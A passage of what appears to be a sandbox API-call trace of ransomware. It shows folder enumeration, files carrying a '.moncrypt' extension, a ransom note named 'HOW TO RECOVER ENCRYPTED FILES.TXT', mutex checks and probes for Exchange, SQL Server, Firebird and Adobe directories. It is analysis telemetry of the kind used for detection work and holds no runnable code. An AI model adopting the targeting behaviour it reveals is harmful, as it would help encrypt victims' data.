ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ff1dba0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.530] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.530] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.530] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.531] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.531] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.531] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.531] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.531] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.531] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.531] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.531] CloseHandle (hObject=0x18c) returned 1 [0051.531] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.531] GetLastError () returned 0x12 [0051.531] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.531] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.531] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.531] GlobalUnlock (hMem=0x44000c) returned 0 [0051.531] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.531] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.531] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.532] GlobalUnlock (hMem=0x44000c) returned 0 [0051.532] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.532] GlobalUnlock (hMem=0x440004) returned 0 [0051.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ff1dba0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ff1dba0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.532] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.532] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.532] GlobalLock (hMem=0x440004) returned 0x550170 [0051.532] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.532] GlobalUnlock (hMem=0x440004) returned 0 [0051.532] GlobalLock (hMem=0x440004) returned 0x550170 [0051.532] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.532] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.532] GlobalUnlock (hMem=0x440004) returned 0 [0051.532] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.532] GlobalUnlock (hMem=0x44000c) returned 0 [0051.532] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.532] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ff1dba0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ff1dba0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.532] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.532] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.532] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.532] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.532] GlobalUnlock (hMem=0x44000c) returned 0 [0051.532] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.533] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.533] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.533] GlobalUnlock (hMem=0x44000c) returned 0 [0051.533] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.533] GlobalUnlock (hMem=0x440004) returned 0 [0051.533] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.533] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM.moncrypt", cAlternateFileName="ECLIPS~1.MON")) returned 1 [0051.533] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.533] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.533] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.533] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.533] GlobalUnlock (hMem=0x440004) returned 0 [0051.533] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.533] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.533] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.533] GlobalUnlock (hMem=0x440004) returned 0 [0051.533] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.533] GlobalUnlock (hMem=0x44000c) returned 0 [0051.533] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.533] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0051.533] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.533] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.533] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.533] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.533] GlobalUnlock (hMem=0x44000c) returned 0 [0051.533] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.533] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.533] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.533] GlobalUnlock (hMem=0x44000c) returned 0 [0051.534] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.534] GlobalUnlock (hMem=0x440004) returned 0 [0051.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.534] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ff1dba0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ff1dba0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ff1dba0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.534] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.534] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.534] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.534] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.534] GlobalUnlock (hMem=0x440004) returned 0 [0051.534] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.534] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.534] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.534] GlobalUnlock (hMem=0x440004) returned 0 [0051.534] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.534] GlobalUnlock (hMem=0x44000c) returned 0 [0051.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.534] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.534] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.534] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.534] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.534] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.534] GlobalUnlock (hMem=0x44000c) returned 0 [0051.534] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.534] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.534] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.534] GlobalUnlock (hMem=0x44000c) returned 0 [0051.534] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.534] GlobalUnlock (hMem=0x440004) returned 0 [0051.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.535] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.535] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.535] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.535] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.535] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.535] GlobalUnlock (hMem=0x440004) returned 0 [0051.535] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.535] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.535] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.535] GlobalUnlock (hMem=0x440004) returned 0 [0051.535] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.535] GlobalUnlock (hMem=0x44000c) returned 0 [0051.535] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.535] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.535] GetLastError () returned 0x12 [0051.535] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.535] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0051.535] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.535] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.536] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.536] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.536] GlobalUnlock (hMem=0x44000c) returned 0 [0051.536] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.536] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.536] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.536] GlobalUnlock (hMem=0x44000c) returned 0 [0051.536] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.536] GlobalUnlock (hMem=0x440004) returned 0 [0051.536] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.536] GlobalLock (hMem=0x440004) returned 0x550170 [0051.536] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.536] GlobalUnlock (hMem=0x440004) returned 0 [0051.536] GlobalLock (hMem=0x440004) returned 0x550170 [0051.536] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.536] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.536] GlobalUnlock (hMem=0x440004) returned 0 [0051.536] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.536] GlobalUnlock (hMem=0x44000c) returned 0 [0051.536] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.536] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE") returned 1 [0051.536] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.536] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.536] GlobalUnlock (hMem=0x44000c) returned 0 [0051.536] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.536] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.537] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.537] GlobalUnlock (hMem=0x44000c) returned 0 [0051.537] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.537] GlobalUnlock (hMem=0x440004) returned 0 [0051.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夊U壞U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.538] GetLastError () returned 0x3 [0051.538] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0051.538] GetLastError () returned 0x2 [0051.538] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.539] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0051.539] GetLastError () returned 0x2 [0051.539] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.539] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.539] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0051.540] GetLastError () returned 0x2 [0051.540] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18뭼R\x18j")) returned 0xffffffff [0051.540] GetLastError () returned 0x2 [0051.540] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0051.541] GetLastError () returned 0x2 [0051.541] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\edge\\") returned 0x3d [0051.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0051.541] MultiByteToWideChar 